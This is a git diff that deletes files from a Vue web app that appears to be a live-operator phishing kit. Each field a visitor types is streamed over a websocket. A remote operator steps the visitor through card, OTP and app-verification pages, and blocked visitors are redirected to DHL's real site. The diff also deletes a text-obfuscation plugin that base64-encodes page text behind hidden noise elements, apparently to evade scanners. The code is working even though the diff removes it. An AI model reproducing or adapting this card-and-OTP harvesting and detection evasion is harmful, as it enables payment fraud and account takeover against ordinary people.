text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.dhl.com/ch-de/home.html";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwXa/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwXa/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone1");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => {
|
|||||||
VueScrollTo.scrollTo("#app", 0);
|
VueScrollTo.scrollTo("#app", 0);
|
||||||
next();
|
next();
|
||||||
});
|
});
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
